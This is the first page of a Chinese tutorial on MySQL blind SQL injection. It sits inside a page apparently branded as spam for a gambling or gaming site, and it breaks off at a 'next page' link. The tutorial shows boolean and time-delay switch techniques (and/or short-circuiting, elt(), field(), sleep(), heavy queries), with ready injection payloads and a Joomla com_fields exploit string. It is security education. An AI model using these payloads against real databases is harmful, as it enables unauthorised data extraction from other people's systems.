太阳集团2138备用网址

欢迎来到 黑吧太阳集团2138备用网址 是业内专业的游戏平台,为你提供各式各样的精品游戏,最全的游戏项目,同时还为您提供各种游戏专题游戏攻略人气论坛。

一篇文章带你深入理解 SQL 盲注

来源:本站整理 作者:佚名 时间:2019-02-21 TAG: 我要投稿

太阳集团2138备用网址 www.r-island.com 简单的整理一下关于 SQL 盲注的一些想法(主要是针对 MYSQL,当然其中也不免夹杂着一些 SQL Server 和Oracle的知识),希望能有更清晰的思路和不一样的思考。
 
0X01 盲注的一般模式
盲注的本质是猜解(所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断),那能感觉到什么?答案是:差异(包括运行时间的差异和页面返回结果的差异)。也就是说我们想实现的是我们要构造一条语句来测试我们输入的布尔表达式,使得布尔表达式结果的真假直接影响整条语句的执行结果,从而使得系统有不同的反应,在时间盲注中是不同的返回的时间,在布尔盲注中则是不同的页面反应。
如图所示:

我们可以把我们输入布尔表达式的点,称之为整条语句的开关,起到整条语句结果的分流作用,而此时 我们就可以把这种能根据其中输入真假返回不同结果的函数叫做开关函数,或者叫做分流函数
说到这里其实首先想到的应该就是使用 if 这种明显的条件语句来分流,但是有时候 if 也不一定能用,那不能用我们还是想分流怎么办,实际上方法很多,我们还能利用 and 或者 or 的这种短路特性实现这种需求,示例如下:
1.and 0 的短路特性
mysql> select * from bsqli where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)
mysql> select * from bsqli where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)
这个怎么看,实际上 一个 and 连接的是两个集合,and 表示取集合的交集,我么知道0 和任何集合的交集都是 0 ,那么系统就不会继续向下执行 sleep(),那么为什么第一条语句没有返回任何东西呢?因为 id =1 的结果和 sleep(1) 的交集为空集
2.or 1 的短路特性
mysql> select * from bsqli where id = 1 or 1 or sleep(1);
+----+--------+----------+
| id | name   | password |
+----+--------+----------+
|  1 | K0rz3n | 123456   |
|  2 | L_Team | 234567   |
+----+--------+----------+
2 rows in set (0.00 sec)
mysql> select * from bsqli where id = 1 or 0 or sleep(1);
+----+--------+----------+
| id | name   | password |
+----+--------+----------+
|  1 | K0rz3n | 123456   |
+----+--------+----------+
1 row in set (1.00 sec)
和上面类似 or 取得是两个集合的并集,系统检测到 or 1 的时候就不会继续检测,所以 sleep() 也就不会运行。
那么这里我们可以将 sleep() 换成我们下面准备讲的 Heavy Query ,如下
id = 1' and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
id = 1' and 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
除了上面两个我们还能用 case when then else end 这个句型,这个和 if 是类似的我这里就不多介绍,我这里还想说一个我另外发现的比较有趣的一个函数(准确的说是两个函数)
3.elt() 的分流特性
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name   | password |
+----+--------+----------+
|  1 | K0rz3n | 123456   |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));
Empty set (1.00 sec)
后来我发现这个确实是有案例的,但是和我这个用法没哈关系,可能只是我见识比较短浅,这是当时的payload:
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
4.field() 的分流特性
FIELD(str, str1, str2, str3, ……)
该函数返回的是 str 在面这些字符串的位置的索引,如果找不到返回 0 ,但我发现这个函数同样可以作为开关来使用,如下:
mysql> select * from bsqli where id = 1 and field(1>1,sleep(1));
+----+--------+----------+
| id | name   | password |
+----+--------+----------+
|  1 | K0rz3n | 123456   |
+----+--------+----------+
1 row in set (2.00 sec)
mysql> select * from bsqli where id = 1 and field(1=1,sleep(1));
Empty set (1.00 sec)
但是这其实给了我们一种新的思路:有时候时间延迟的长短可以作为我们判断的依据,并不一定是有延迟和没延迟(当然这只是我原来没注意,不代表看这篇文章的师傅们不知道orz)
另外就是如果有些函数返回的是 NULL 并不代表这个函数不能作为开关函数或者分流函数使用,因为我们还有一个函数叫做 isnull() ,可以将 null 转化成真或者假。
当然方法肯定不止这两个,这里仅仅是讲解原理的简单举例。
 
0X02 基于时间的盲注
基于时间的盲注的一般思路是延迟注入,说白了就是将判断条件结合延迟函数注入进入,然后根据语句执行时间的长短来确定判断语句返回的 TRUE 还是 FALSE,从而去猜解一些未知的字段(整个猜解过程其实就是一种 fuzz)。
1. MYSQL 的 sleep 和 benchmark
我们常用的方法就是 sleep() 和 benchmark(),如下图所示

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  下一页

【声明】:太阳集团2138备用网址(http://www.r-island.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@www.r-island.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载